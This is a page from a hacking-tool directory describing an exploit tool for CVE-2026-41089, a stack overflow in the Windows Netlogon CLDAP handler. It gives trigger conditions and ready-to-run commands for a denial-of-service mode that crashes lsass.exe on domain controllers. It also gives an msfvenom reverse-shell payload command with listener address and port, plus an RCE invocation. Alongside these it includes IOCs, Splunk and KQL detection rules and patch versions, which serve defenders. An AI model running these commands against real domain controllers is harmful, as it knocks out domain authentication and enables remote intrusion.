Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-41089 — CVE-2026-41089 是 Windows Netlogon 服务中一个关键的远程代码执行漏洞,单包即可崩溃 lsass.exe,导致域控制器在约 30-60 秒内重启。此期间该 DC 的所有域认证将失败。 | Kitploit
Tools/GitHubGitHub/hnytgl/cve-2026-41089
Vulnerability AnalysisExploitationPenetration TestingRemote Access ToolBinary Exploitation
GitHubhnytgl/cve-2026-41089

CVE-2026-41089

CVE-2026-41089 是 Windows Netlogon 服务中一个关键的远程代码执行漏洞,单包即可崩溃 lsass.exe,导致域控制器在约 30-60 秒内重启。此期间该 DC 的所有域认证将失败。

View Repository
1412142 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-41089 — Windows Netlogon CLDAP Stack Buffer Overflow RCE Exploit

CVE-ID: CVE-2026-41089
CVSS: 9.8 (Critical)
CWE: CWE-121 (Stack-based Buffer Overflow)
Attack Vector: UDP/389 (CLDAP SearchRequest)
Impact: Remote Code Execution (RCE) / Denial of Service (DoS)
Affected Versions: Windows Server 2012 R2 ~ 2025 (Domain Controllers)
Patch: May 2026 Cumulative Update

Vulnerability Overview

The NetpLogonPutUnicodeString function in netlogon.dll contains a stack buffer overflow vulnerability when processing CLDAP search requests. This function receives a byte-length budget but interprets it as a WCHAR count, resulting in writing 2 times the expected amount.

The overflow occurs in a 528-byte (264 ushort) fixed stack buffer within the NlGetLocalPingResponse function. The attacker-controlled User field, combined with the server's own DNS domain name, fills this buffer, eventually overwriting the GS Security Cookie, leading to and crash.

__report_gsfailure
lsass.exe

Trigger Conditions

  • The CLDAP SearchRequest contains NtVer=0x02 (forcing the old, vulnerable BuildSamLogonResponse code path)
  • The User field length is ≥ ~130 characters (binary upper limit approximately 260 bytes UTF-16)
  • The server DNS domain name is ≥ ~80 characters (the longer the domain name, the easier to reach the cookie)

Note: NtVer=0x16 (the value used by many public detection scripts) triggers the safe BuildSamLogonResponseEx code path, which does not trigger the vulnerability.

Features

ModeDescription
--mode dosSends a crafted CLDAP packet causing LSASS to crash, rebooting the DC (~60 seconds of authentication downtime)
--mode rceAttempts remote code execution (research-level, requires shellcode)
--mode scanScans responses for different NtVer values, fingerprinting the target DC
--mode autoAutomatically detects and selects the best attack strategy

DoS Mode

A single packet crashes lsass.exe, causing the Domain Controller to restart within approximately 30-60 seconds. During this time, all domain authentication through that DC will fail.

root@kitploit:~
# Basic usage — send 3 packets
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos

# Single-packet fast attack
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1

# Aggressive mode — 5 concurrent packets
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1

RCE Mode

⚠️ Research-level — unreliable and unstable in real environments.

RCE faces the following challenges:

  1. The overflow data is the server's own DNS name, not the attacker's shellcode
  2. The GS Cookie must be bypassed (requires an information disclosure primitive or brute force)
  3. CET/ACG/CFG on Server 2022+ make traditional ROP more difficult
root@kitploit:~
# Generate shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
         -f raw -o shellcode.bin

# Send RCE chain
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
    --shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444

Scan Mode

root@kitploit:~
# Fingerprint the target DC
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan

Expected output example (patched target):

root@kitploit:~
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)

Expected output example (unpatched target):

root@kitploit:~
NtVer=0x00000002 → TIMEOUT (5001 ms)    ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)

If NtVer=0x02 times out while other versions respond normally, the target is likely vulnerable.

Advanced Parameters

ParameterDescriptionDefault
-l, --user-lenUsername field length (ASCII characters)180
--ntverNtVer value (hexadecimal, e.g. 0x02)0x02
--countNumber of DoS packets to send3
--delayDelay between packets (seconds)0.5
-t, --timeoutSocket timeout (seconds)5.0
--jsonOutput results in JSON format—
--rawPrint raw packet hex before sending—
--quietSuppress banner output—
--shellcode-fileCustom shellcode file (raw x64)—
--lhostReverse shell listener address—
--lportReverse shell listener port4444

Setting Up Test Environment

root@kitploit:~
# 在 Windows Server(未修补)上创建长域名 DC:
# 1. 提升为域控 (DNS 域名很长的域名,例如 "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. 确认已安装 2026 年 5 月之前的补丁
# 3. 从攻击机运行:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. 观察 DC 崩溃和重启

Indicators of Compromise (IOCs)

Network

  • CLDAP SearchRequest on UDP/389 with User > 100 bytes and NtVer = 0x02
  • Unusual CLDAP traffic from non-domain controller hosts to the DC

Host

root@kitploit:~
Event ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)

Detection Rules

root@kitploit:~
index=wineventlog source="WinEventLog:Application" EventID=1000
  Process_Name="lsass.exe" Exception_Code="0xc0000409"
root@kitploit:~
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"

Patch Information

Windows Server VersionPatch VersionNotes
Server 20126.2.9200.26079ESU
Server 2012 R26.3.9600.23181ESU
Server 201610.0.14393.9140
Server 201910.0.17763.8755
Server 202210.0.20348.5074
Server 2022 23H210.0.25398.2330
Server 202510.0.26100.32772

Legal Disclaimer

This tool is intended for authorized security assessments, penetration testing, CTF competitions, and defensive research only. Use of this tool against any system without explicit written permission is illegal. Users bear all legal responsibility.

References

  • Microsoft Security Update Guide: CVE-2026-41089
  • NVD: CVE-2026-41089
  • Kudelski Security Research — Netlogon Stack Buffer Overflow Analysis
  • SecPod Analysis — IOCs and Detection
  • IONIX Threat Center — CVE-2026-41089
Download Tool